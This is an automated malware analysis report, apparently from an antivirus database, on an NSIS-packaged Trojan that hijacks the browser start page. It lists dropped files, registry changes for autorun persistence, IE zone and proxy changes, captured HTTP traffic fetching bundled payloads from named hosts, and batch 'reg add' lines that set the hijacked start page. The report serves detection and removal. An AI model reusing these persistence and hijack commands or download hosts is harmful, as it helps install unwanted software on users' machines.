Trojan.NSIS.StartPage_390dcc22f8

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:1740

File activity

The process %original file name%.exe:1740 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\shandian\ico\360.ico (32 bytes)
%Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\config.ini (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\config0.ini (3 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\ÉÁµçä¯ÀÀÆ÷.lnk (517 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\stat[1].htm (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\ÉÁµçä¯ÀÀÆ÷.lnk (523 bytes)
%Program Files%\shandian\ico\taobao.ico (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\Md5dll.dll (8 bytes)
%Program Files%\shandian\home.bat (703 bytes)
%Program Files%\shandian\ico\anquan.ico (3 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\жÔØÉÁµçä¯ÀÀÆ÷.lnk (507 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\bind.dll (1989 bytes)
%Documents and Settings%\%current user%\Desktop\360°²È«ä¯ÀÀÆ÷.lnk (1 bytes)
%Program Files%\shandian\ico\ie.ico (700 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Desktop\ÉÁµçä¯ÀÀÆ÷.lnk (485 bytes)
%Program Files%\shandian\config.ini (194 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\xID.dll (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\stat[1].htm (0 bytes)

Registry activity

The process %original file name%.exe:1740 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"DisplayName" = "ÉÁµçä¯ÀÀÆ÷"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"Publisher" = "ÉÁµç"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"URLInfoAbout" = "http://www.sd.com"
"DisplayIcon" = "%Program Files%\shandian\shandian.exe"

"UninstallString" = "%Program Files%\shandian\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "81 41 FF B0 EC CB 24 1A 4A 1C 63 E7 C4 40 72 CE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\shandian]
"home.bat" = "home"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"shandian" = "%Program Files%\shandian\shandian.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
a7d710e78711d5ab90e4792763241754	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa2.tmp\Md5dll.dll
c17103ae9072a06da581dec998343fc1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa2.tmp\System.dll
e2b78c96162ad8c36a623e6a4ba1c216	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa2.tmp\bind.dll
3a5ed71aa9c6846d95d57235c4c443d7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa2.tmp\xID.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Program Files%\shandian\ico\360.ico (32 bytes)
   %Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\config.ini (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\config0.ini (3 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\ÉÁµçä¯ÀÀÆ÷.lnk (517 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\stat[1].htm (2 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\ÉÁµçä¯ÀÀÆ÷.lnk (523 bytes)
   %Program Files%\shandian\ico\taobao.ico (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\Md5dll.dll (8 bytes)
   %Program Files%\shandian\home.bat (703 bytes)
   %Program Files%\shandian\ico\anquan.ico (3 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\жÔØÉÁµçä¯ÀÀÆ÷.lnk (507 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\bind.dll (1989 bytes)
   %Documents and Settings%\%current user%\Desktop\360°²È«ä¯ÀÀÆ÷.lnk (1 bytes)
   %Program Files%\shandian\ico\ie.ico (700 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Desktop\ÉÁµçä¯ÀÀÆ÷.lnk (485 bytes)
   %Program Files%\shandian\config.ini (194 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa2.tmp\xID.dll (10 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "shandian" = "%Program Files%\shandian\shandian.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	49152	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	241664	160256	160256	4.7938	6da2cc3cf287384c5d8fb9c2e72bbcf8

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://e2fe715f3a90d4dc.dnspao.com/stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a
hxxp://down.qicc-md.org/F30241_s_0523.rar	61.160.224.228
hxxp://www.xauter.net/stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a	61.160.224.199

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36

Host: VVV.xauter.net

Cache-Control: no-cache

Cookie: ASPSESSIONIDCCQRBBDQ=OFFCBGDDAPPNAMKFNHKEBFPC

HTTP/1.1 200 OK

Server: nginx/1.4.3.6

Date: Wed, 04 Jun 2014 10:17:07 GMT

Content-Type: text/html

Content-Length: 2997

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Who: ShanIE

Cache-control: private

[ShortCut_1]..Desc=360............Hint=360............Name=360............URL=hXXp://VVV.jlbnh.com..Icon=ico\360.ico..[ShortCut_2]..Desc=Internet Explorer..Hint=Internet Explorer..Name=Internet Explorer..URL=http://VVV.jlbnh.com..Icon=ico\ie.ico..[SoftWare_1]..Desc=..........Hint=..........Name=F30241_s_0523..URL=hXXp://down.qicc-md.org/F30241_s_0523.rar..reg=HKLM\SOFTWARE\Baidu\BaiduSd\InstallDir..[SoftWare_2]..Desc=..........Hint=..........Name=ionrkf_70688..URL=hXXp://down.qicc-md.org/ionrkf_70688.rar..reg=HKLM\SOFTWARE\Baidu\BaiduAn\InstallDir..[SoftWare_3]..Desc=......Hint=......Name=dudu_b_55045..URL=hXXp://down.qicc-md.org/dudu_b_55045.rar..reg=HKCU\Software\Kuping\InstallPath..[SoftWare_4]..Desc=..........Hint=..........Name=pczh_98_2..URL=hXXp://down.qicc-md.org/pczh_98_2.rar..reg=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Ainqngz3.9.exe\..[SoftWare_5]..Desc=........Hint=........Name=-8853_1_mvy..URL=hXXp://down.qicc-md.org/-8853_1_mvy.rar..reg=HKLM\SOFTWARE\Mnying\Mnyingfiledir..[SoftWare_6]..Desc=...... ..Hint=........Name=yxku_s[106]..URL=hXXp://down.qicc-md.org/yxku_s[106].rar..reg=HKCU\Software\yxkuBox\InstallPath..[SoftWare_7]..Desc=......Hint=......Name=xkss_50041..URL=hXXp://down.qicc-md.org/xkss_50041.rar..reg=HKCU\Software\xuankusoso\InstallMode..[SoftWare_9]..Desc=....FM..Hint=....FM..Name=setup_3128..URL=hXXp://down.qicc-md.org/setup_3128.rar..reg=HKLM\SOFTWARE\YYMusic3\rd..[SoftWare_11]..Desc=..........Hint=..........Name=BaiduPlayerNetSetup_284..URL=hXXp://down.qicc-md.org/B

<<

<<< skipped >>>

GET /stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36

Host: VVV.xauter.net

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.4.3.6

Date: Wed, 04 Jun 2014 10:17:05 GMT

Content-Type: text/html

Content-Length: 2997

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Who: ShanIE

Set-Cookie: ASPSESSIONIDCCQRBBDQ=OFFCBGDDAPPNAMKFNHKEBFPC; path=/

Cache-control: private

[ShortCut_1]..Desc=360............Hint=360............Name=360............URL=hXXp://VVV.jlbnh.com..Icon=ico\360.ico..[ShortCut_2]..Desc=Internet Explorer..Hint=Internet Explorer..Name=Internet Explorer..URL=http://VVV.jlbnh.com..Icon=ico\ie.ico..[SoftWare_1]..Desc=..........Hint=..........Name=F30241_s_0523..URL=hXXp://down.qicc-md.org/F30241_s_0523.rar..reg=HKLM\SOFTWARE\Baidu\BaiduSd\InstallDir..[SoftWare_2]..Desc=..........Hint=..........Name=ionrkf_70688..URL=hXXp://down.qicc-md.org/ionrkf_70688.rar..reg=HKLM\SOFTWARE\Baidu\BaiduAn\InstallDir..[SoftWare_3]..Desc=......Hint=......Name=dudu_b_55045..URL=hXXp://down.qicc-md.org/dudu_b_55045.rar..reg=HKCU\Software\Kuping\InstallPath..[SoftWare_4]..Desc=..........Hint=..........Name=pczh_98_2..URL=hXXp://down.qicc-md.org/pczh_98_2.rar..reg=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Ainqngz3.9.exe\..[SoftWare_5]..Desc=........Hint=........Name=-8853_1_mvy..URL=hXXp://down.qicc-md.org/-8853_1_mvy.rar..reg=HKLM\SOFTWARE\Mnying\Mnyingfiledir..[SoftWare_6]..Desc=...... ..Hint=........Name=yxku_s[106]..URL=hXXp://down.qicc-md.org/yxku_s[106].rar..reg=HKCU\Software\yxkuBox\InstallPath..[SoftWare_7]..Desc=......Hint=......Name=xkss_50041..URL=hXXp://down.qicc-md.org/xkss_50041.rar..reg=HKCU\Software\xuankusoso\InstallMode..[SoftWare_9]..Desc=....FM..Hint=....FM..Name=setup_3128..URL=hXXp://down.qicc-md.org/setup_3128.rar..reg=HKLM\SOFTWARE\YYMusic3\rd..[SoftWare_11]..Desc=..........Hint=..........Name=BaiduPlayerNetSetup_284..URL=hXXp://down.qicc-md.org/B

<<

<<< skipped >>>

GET /F30241_s_0523.rar HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36

Host: down.qicc-md.org

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.4.3.6

Date: Wed, 04 Jun 2014 10:17:11 GMT

Content-Type: application/octet-stream

Content-Length: 12269032

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Last-Modified: Sun, 25 May 2014 10:57:46 GMT

Accept-Ranges: bytes

ETag: "b6af3d29878cf1:2d5"

MZ......................@.................D.............................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................p.......B...9............@...........................&.....O*;*..@.................................d.........$..h..............H#...........................................................................................text....o.......p.................. ..`.rdata...*.......,...t..............@..@.data....~..........................@....ndata...P...0...........................rsrc....h....$..j..................@..@.reloc........%.....................@..B........................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....-G..H.P.u..u..u.....@..K...SV.5.-G.W.E.P.u.....@..e...E..E.P.u.....@..}..e....D.@........FR..VV..U... M..........M........E...FQ.....NU..M.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.P.u.....@..u....E..9}...n....~X.te.v4..L.@..E...tU.}.j.W.E......E.......P.@..vXW..T.@..u..5X.@.W..h ....E..E.Pj.h..F.W....@..u.W...u....E.P.u.....@._^3.[.....L$...-G...i. @...T.....tUVW.q.3.;5.-G.sD..i. @...D..S.....t.G.....t...O..t .....u...3....3...F. @..;5.-G.r.[_^...U..QQ

<<

<<< skipped >>>

GET /F30241_s_0523.rar HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36

Host: down.qicc-md.org

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.4.3.6

Date: Wed, 04 Jun 2014 10:17:11 GMT

Content-Type: application/octet-stream

Content-Length: 12269032

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Last-Modified: Sun, 25 May 2014 10:57:46 GMT

Accept-Ranges: bytes

ETag: "b6af3d29878cf1:2d5"

MZ......................@.................D.............................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................p.......B...9............@...........................&.....O*;*..@.................................d.........$..h..............H#...........................................................................................text....o.......p.................. ..`.rdata...*.......,...t..............@..@.data....~..........................@....ndata...P...0...........................rsrc....h....$..j..................@..@.reloc........%.....................@..B........................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....-G..H.P.u..u..u.....@..K...SV.5.-G.W.E.P.u.....@..e...E..E.P.u.....@..}..e....D.@......

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1740:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

http://nsis.sf.net/NSIS_Error

http://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|<>/":

*?|<>/":

DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2.tmp\bind.dll

DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2.tmp\bind.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2.tmp\bind.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2.tmp\bind.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2.tmp

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.teCF

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c:\%original file name%.exe

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%Program Files%\shandian"

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CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf1.tmp

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Q<A><pre>=pg.No</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>%Documents and Settings%\%current user%\Start Menu\Programs\</pre><b>%original file name%.exe_1740_rwx_10004000_00001000:</b><pre>callback%d</pre><b>cmd.exe_1980:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>KERNEL32.dll</pre><pre>NTDLL.DLL</pre><pre>msvcrt.dll</pre><pre>USER32.dll</pre><pre>SetConsoleInputExeNameW</pre><pre>APerformUnaryOperation: '%c'</pre><pre>APerformArithmeticOperation: '%c'</pre><pre>ADVAPI32.dll</pre><pre>SHELL32.dll</pre><pre>MPR.dll</pre><pre>RegEnumKeyW</pre><pre>RegDeleteKeyW</pre><pre>RegCloseKey</pre><pre>RegOpenKeyW</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>ShellExecuteExW</pre><pre>CmdBatNotification</pre><pre>GetWindowsDirectoryW</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>_pipe</pre><pre>GetProcessWindowStation</pre><pre>cmd.pdb</pre><pre>pauseelims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)</pre><pre>pause/f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)</pre><pre>pausee" /d %%f /f)</pre><pre>for /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)</pre><pre>pause%") do (reg add %%a /v "%%e" /d %%f /f)</pre><pre>pauses=- tokens=1-3" %%b in ("%reglist2%") do (reg add %%a /v %%b /t %%c /d %%d /f)</pre><pre>CMD Internal Error %s</pre><pre>)(&&())))(&))</pre><pre>)&((&)&))&())</pre><pre>)&((&)&)&()))</pre><pre>)(&&()))&))))</pre><pre>CMD.EXE</pre><pre>()|&=,;"</pre><pre>COPYCMD</pre><pre>\XCOPY.EXE</pre><pre>CMDCMDLINE</pre><pre>WKERNEL32.DLL</pre><pre>Software\Policies\Microsoft\Windows\System</pre><pre>0123456789</pre><pre>cmd.exe</pre><pre>DIRCMD</pre><pre>%d.%d.d</pre><pre>Ungetting: '%s'</pre><pre>DisableCMD</pre><pre>GeToken: (%x) '%s'</pre><pre>%s\Shell\Open\Command</pre><pre>%x %c</pre><pre>*** Unknown type: %x</pre><pre>Args: `%s'</pre><pre>Cmd: %s Type: %x</pre><pre>%s (%s) %s</pre><pre>r /f "delims=- tokens=1-2" %e in ("Start Page-"http://www.jlbnh.com/?tn=4" ") do (reg add %a /v "%e" /d %f /f)</pre><pre>lbnh.com/?tn=4"") do (reg add %a /v %b /t %c /d %d /f)</pre><pre>a /v "%e" /d %f /f</pre><pre>lbnh.com/?tn</pre><pre>-08002B30309D}\shell\OpenHomePage\Command"</pre><pre>//www.jlbnh.com/?tn=4"</pre><pre>%Program Files%\shandian></pre><pre>.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH</pre><pre>%WinDir%;%WinDir%\System32\Wbem;c:\Program Files\Wireshark</pre><pre>or /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)</pre><pre>CMDEXTVERSION</pre><pre>KEYS</pre><pre>%Program Files%\shandian</pre><pre>Press any key to continue . . .</pre><pre>ernet Explorer\Main" /v "Start Page" /d "http://www.jlbnh.com/?tn 4" /f</pre><pre>orer\iexplore.exe http://www.jlbnh.com/?tn 4" /f</pre><pre>%s %s</pre><pre>(%s) %s</pre><pre>%s %s%s</pre><pre>&()[]{}^=;!%' ,`~</pre><pre>d%sd%s</pre><pre>-%sd%sd%sd</pre><pre>d%sd%sd</pre><pre>%s=%s</pre><pre>X-X</pre><pre>.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS</pre><pre><> -*/%()|^&=,</pre><pre>\CMD.EXE</pre><pre>Windows Command Processor</pre><pre>5.1.2600.5512 (xpsp.080413-2111)</pre><pre>Cmd.Exe</pre><pre>Windows</pre><pre>Operating System</pre><pre>5.1.2600.5512</pre><pre>Press any key to continue . . . %0</pre><pre>operable program or batch file.</pre><pre>The system cannot execute the specified program.</pre><pre>and press any key when ready. %0</pre><pre>Microsoft Windows XP [Version %1]%0</pre><pre>a pipe operation.</pre><pre>KEYS is on.</pre><pre>KEYS is off.</pre><pre>The process tried to write to a nonexistent pipe.</pre><pre>The switch /Y may be preset in the COPYCMD environment variable.</pre><pre>to prompt on overwrites unless COPY command is being executed from</pre><pre>Switches may be preset in the DIRCMD environment variable. Override</pre><pre>Quits the CMD.EXE program (command interpreter) or the current batch</pre><pre>CMD.EXE. If executed from outside a batch script, it</pre><pre>will quit CMD.EXE</pre><pre>ERRORLEVEL that number. If quitting CMD.EXE, sets the process</pre><pre>Displays or sets a search path for executable files.</pre><pre>Type PATH ; to clear all search-path settings and direct cmd.exe to search</pre><pre>Changes the cmd.exe command prompt.</pre><pre>$B | (pipe)</pre><pre>$V Windows XP version number</pre><pre>Displays, sets, or removes cmd.exe environment variables.</pre><pre>Displays the Windows XP version.</pre><pre>Tells cmd.exe whether to verify that your files are written correctly to a</pre><pre>Records comments (remarks) in a batch file or CONFIG.SYS.</pre><pre>Press any key to continue . . . %0</pre><pre>Directs cmd.exe to a labeled line in a batch program.</pre><pre>NOT Specifies that Windows XP should carry out</pre><pre>will execute the 